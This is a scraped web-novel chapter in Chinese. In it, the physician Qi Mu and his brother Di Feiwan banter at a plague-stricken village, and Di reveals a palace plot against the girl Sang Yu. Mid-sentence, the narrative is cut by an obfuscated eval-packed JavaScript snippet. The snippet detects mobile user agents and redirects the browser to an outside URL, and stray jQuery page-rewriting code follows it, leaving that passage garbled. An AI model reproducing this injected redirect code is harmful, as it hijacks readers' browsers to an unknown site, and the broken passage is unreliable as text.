默认冷灰
24号文字
方正启体

68. 68

作者:盼嘚儿本书字数:K更新时间:
    天狼寨。


    茅草屋内,小沙弥们各司其职,有的研磨草药,有的跑腿。


    如今村子内的灾疫已经得到了良好控制,可根治的法子令他们每每看见了希望,可临门一脚时又不得不重新来过。


    在将效果仍然欠佳的药丸拿去让村民们将就着先服用后,留下来的小沙弥们又拖着疲惫的身躯,强撑着精神继续重复着同样的动作。


    枯燥乏味的生活还在日复一日的进行,久到众人看不见迷雾的尽头究竟在哪儿。


    然而今日不知怎的,一道怪腔怪调的呼唤突然闯入,打破了室内长久的死寂。


    “齐小公子?”


    “若白兄?”


    “……”


    “齐消!”


    来人的声音起先还称得上和和气气,几声过后,性子再好的人也逐渐暴跳如雷。


    “噗——”


    震耳欲聋的呐喊扰的众人不得安宁。


    年纪最小的小沙弥没忍住乐出了声,察觉出师兄们仍面无表情继续在干活时,他赶忙敛去孩子心性,低下头,收住了笑意。


    就算如此,他的视线还是止不住地朝着几人正中间,端坐在案前的青衫少年郎望去。


    那是比他们的印云师叔更有可能研制出药方的小神医。


    “齐小五,你过分了啊!”


    门外声音的主人正是应了娇娘邀约而来的狄非顽。


    他故意借着狄小四的辈分压着小他月余的少年郎。


    少年郎不动如山,神色严肃,仍在一丝不苟地执笔书写。


    他就是故意的!


    狄非顽心中叫骂个不停。清楚自己的声声呼唤是被刻意忽视后,他的嘴角稍稍勾起,带着玩味,故作惊讶道。


    “哎呀呀,这小神医怎么长得有点眼熟呀,竟像是娶了城西管家大小姐的小夫郎呀!”


    少年郎的笔忽然顿住,豆大的墨点砸下,将记录好的药方晕出了好大一个痕迹。


    见此,狄非顽仰天偷乐,“城西百姓都说,管家大小姐和那小夫郎可是天造地设的一对儿。”


    少年郎将毛笔放回笔架之上,整个人依旧按兵不动。


    狄非顽白眼一翻,趁热打铁,“感觉这管家大小姐和小夫郎得要一生一世一双人呀!”


    话音刚落,少年郎倏地起身。


    自然引得一众注视投来。


    “齐大夫?”


    “麻烦各位小师父按照之前的方子调整,齐某有些事情要处理一下。”


    简单交代两句,少年郎便出了房门,脚步轻快有力,又带着些许急切。等到了一处参天大树下仰头看去,刚跟来人对视一瞬,便情真意切道。


    “我与木子不止一生一世,是要长长久久,生生世世!”


    狄非顽:……


    一个趔趄令他险些从树上摔下,紧紧抓住树干才没落得脑袋着地,摔成肉块儿的凄惨。


    由躺着转为坐起,一脚抵在树上,一腿随意垂下,他细细端详起树下的恣意少年郎。


    与记忆里的高挑清雅,面如雕刻,眉若墨画没太大差别,一副人畜无害面容之上的亮眸生的极具灵性。


    但更为夺目的还是少年郎眼中那名为“爱慕”的暗涌。


    数十年如一日。


    如此赤、裸又绝不掩饰。


    我定会与木子——


    生生世世——


    长长久久——


    狄非顽在心里鹦鹉学舌,一顿怪腔怪调,偏偏明面上不敢表现分毫。


    没办法,谁让他前途光明,不能跟个满脑子情情爱爱的疯子正面直碰。


    少年郎其实不用人开口,也知某人心中腹诽,他早就见怪不怪。


    毕竟姻缘天定,不是每个人都配跟他一般,能与相爱之人长相厮守。更何况树上这位只长年岁,不长脑子的兄长,他根本不屑与之深入交谈。


    “你要在树上待到几时?”


    树上之人久久不肯挪动,少年郎的耐心逐渐耗尽。


    治疫的药方迫在眉睫,他实在没有多余的功夫跟人消磨。


    狄非顽却是嗤笑一声。


    切。


    别以为他看不出来,有人道貌岸然,其实背地里只想把今日活计干完,赶紧回家诉苦,哄得夫人疼爱。


    “你在病窝窝里待着这么些时日,谁知道有没有染上疫病。”


    狄非顽大言不惭,怀着保险起见的说法欲欺负人再离远些。


    “我若有病,你便是上了天也得死。”


    少年郎面上挂着慈善的笑容,说出的话竟是冰冷刺骨,“即便不死,我这儿也有折磨人的法子。”


    言外之意,你不死,送你死!


    狄非挖显然明白了威胁。


    倒吸一口凉气,在没将人彻底惹毛前,他立马翻身下树,同时深深谴责着自己。


    不都说了,疯子别惹!


    别惹!


    尤其是情场得意的疯子!


    一下树,狄非挖良心回归,想要挽回快要离他而去的兄弟情。


    少年郎后退一步,神色不明。


    狄非顽不明所以瞧着停在半空的手,疑惑,“你干嘛?”


    少年郎抿唇,“我如今叫齐沐,你注意点。”


    狄非顽:???


    孽子!孽子!


    为了追妻,连亲爹给的名字都能改?!


    狄某人痛心疾首,抚着受伤的内心开口,“我此番来狼河寨,是来给你们送些粮草、药物的,我这儿得到消息,若是治疫药方还弄不出来,你我兴许一辈子都要困在这穷乡僻野。”


    他将在村外签署了军令状的事简单说了遍。另外提了一嘴若真到了万不得已的地步,他会选择出面以权压人。


    齐沐不甚在意,“你说把车夫留在了外面,那跟你同来之人可是那名叫桑榆的姑娘?”


    “嗯。”


    狄非顽对于齐沐知晓小家伙存在一事并未感到过多惊讶。


    他到店子湾寻人瞒过了大多数人,可这大多数人里绝不包含齐沐,只要他稍作打听,就能知晓一切。


    “没想到你还挺关心四哥。”


    狄非顽甚是欣慰。


    齐沐斜了他一眼,不置可否,“你消失了三年,如今进展如何?”


    狄非顽一副“你果然关心我”的嘚瑟,对于近年来的风云变幻一一道来。


    这些年宫内纷争不断,皇贵妃得宠,在后宫里称得上是一手遮天。


    皇后虽说能在大事上说上两句,身边也有太子傍身,可太子打娘胎里出来就带病,说句大不敬的话,能活的日子一只手都能数的过来。


    皇上子嗣单薄,若太子去了,继承大任者定是皇贵妃所生的九皇子。


    因此,太子不得不争。


    “我去店子湾正是因为太子一幕僚偶然得一消息,说是八年前一小宫女被送出宫,身上可能藏有扳倒皇贵妃的秘密。”


    说来,狄非顽对于“秘密”一事始终存疑,毕竟一个知晓后宫深秘的宫女根本不可能活下来。


    莫说是深宫后院,便是前朝重臣,那个不是宁可杀错一万,不可放过一个的主儿。


    孟桑榆能平安活到十六岁就足以证明那幕僚所言为虚。


    三年前他假借病重,要与一八字相合的女子定亲,以此冲喜不过是有些破罐子破摔的意味在其中。


    他想着自己闲着也是闲着,还不如趁机验验真假,没准儿还真有意外之喜。


    可惜三年多的相安无事还是打破了他的幻想,不久前他更是飞鸽传书,觉得再留在店子湾实属无用之功。


    “说来也奇怪,我本都要放弃了,偏偏月余前遇到了个杀手,居然是皇贵妃派来杀小家伙的。”


    孟三的出现像是漫天迷雾里偶然照进的一束光,虽然光亮更快就灭了下去,可终究还是印证了孟桑榆身上或许还真有什么秘密能够深挖。


    而他必须保证孟桑榆始终在他眼皮子底下活动。


    “我现在得要时刻把那小家伙带在身边,只是情况有点棘手,小家伙原本是个哑巴,还有点儿疯病,你这回回了城西后,得空帮我给她瞧瞧。”


    狄非顽对于齐沐的医术有着十成的自信,他毫无负担地替人安排。


    齐沐没直接答应,而是反问道:“你之前没找人给她看过?”


    “我之前哪儿知道她身上真藏有秘密。”


    狄非顽对于之前的想法直言不讳,像是想到了什么,又道:“不过在此之前有人帮忙请过城西的大夫看过,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290324|198499||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可惜效果不佳,几个月了才让小家伙能正常说话,要我说那大夫就是个平平无奇的,空占城西神医的名头,这病若是让你看,保准一个月就能看好。”


    他笑着拍人马屁,“还有小家伙的傻病,我这几年没少试探,可她什么都想不起来,你回去也一并给瞧瞧。”


    齐沐沉默,不再吱声,只是一双眸子盯得人背后发毛。


    在打了个冷战后狄非顽往后挪了挪,双手抱胸,呈保护姿态道:“你想干嘛?”


    “我在想如今得闲,要不要把你骗桑榆姑娘的事亲自捅到她面前。”


    齐沐一脸认真地开口。


    狄非顽目瞪口呆,继而咬牙切齿,“我又哪儿惹你了!”


    要不然这家伙怎么又突然犯病了!


    齐沐晃了晃脑袋,眼神无辜道:“木子近来无事,我怕她闷出病来,若将你骗桑榆姑娘的事情说穿,闹出点乐子,她瞧见了定能欢喜好几日。”


    回想起自家夫人次次看热闹的欢快愉悦,齐沐觉得此事甚是可行。


    狄非顽被气得差点七窍流血,当场升天。


    “你为了木子,不管我死活了是吧!”


    他有理由相信,若不加制止,今晚上这天就能被某个无脑追妻的家伙捅穿。


    暗骂自己就不该为了点淡泊如水的兄弟情走这一趟,狄非顽在察觉出自家弟弟蹙眉沉思时,顾不得心伤,连忙岔开话题。


    “小家伙这几日舟车劳顿,食欲不佳,你帮忙开几副健脾养胃的药。”


    “十两银子。”


    齐沐狮子大开口。


    狄非顽大骂人“见钱眼开”,却又二话不说掏出钱袋付钱。


    齐沐低头一看,掌心出现的银锭子比他要求的还多了一倍。


    二十两。


    白花花的。


    “你骗桑榆姑娘的感情,没把自己也骗进去吧?”


    齐沐古怪地看了眼正一个劲儿催促他赶紧配药的人。


    狄非顽冷笑一声,总算逮到机会反击,“你以为我跟你一样,整日情爱不离嘴,没点儿争前途的雄心?”


    齐沐难得没反驳,而是一本正经道:“你整日断情绝爱是因为你没碰过,若是碰了……”


    “我不会碰,起码没功成名就前绝不会碰。”


    狄非顽直接打断了齐沐接下来的话。


    见被推的人忽然抱住树干死活不肯动弹,一副“你骗鬼呢”的不屑神情,忽然气笑,纠正道:“我是骗小家伙的,若是连我自己都骗进去了,我那京城第一纨绔的名声还要不要?”


    “第一纨绔难道就没有搬起石头砸自己的脚的时候?”


    齐沐气死人不偿命。


    狄非顽撸袖子挽胳膊,就要揍人。


    齐沐安静了片刻,见好就收后还是忍不住提醒,“多收了十两银子,给你一句劝,做事别做绝,给自己留条后路。”


    “你要是再治不好全村人,我连生路都没了。”


    狄非顽改去抓人抱树的胳膊。


    齐沐不吃力,松了手,忽然脚下一轻,一阵头晕目眩,竟被人直接抗在了肩上。


    他忍着难受,颠簸中不知在想着什么,不久后,伸手拍了拍狄非顽后背,豪言壮志道:“你放心,我一定让你活着!”


    起码得要活到骗人感情的事被揭穿。


    狄非顽无语,狠狠拍了下哪儿哪儿都不安分的人,信口胡诌道:“你也放心,我就算活不了,也能让你看见一出我死在小家伙之后的好戏。”


    既然皇贵妃已经动了不该有的念头,他就绝不会让人得逞。


    大不了……


    心头忽然刺痛一下,一闪而过的念头未曾被捕捉便已经消失的无影无踪。


    狄非顽觉着大概是被齐沐的疯言疯语影响,便赶紧要把小疯子送到位,他好拿着药离开。


    谁成想请神容易送神难。


    齐沐被直戳戳地放在了茅草屋前。


    屋内小沙弥们还在各忙各的,不知能不能分神听见门口的动静。


    只见齐小公子一副“你惨了”的雀跃,双手一左一右死死钳住自家兄长的胳膊,幸灾乐祸道。


    “你拉着桑榆姑娘一起死,都到了生同衾,死同穴的地步,还不算情根深种?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)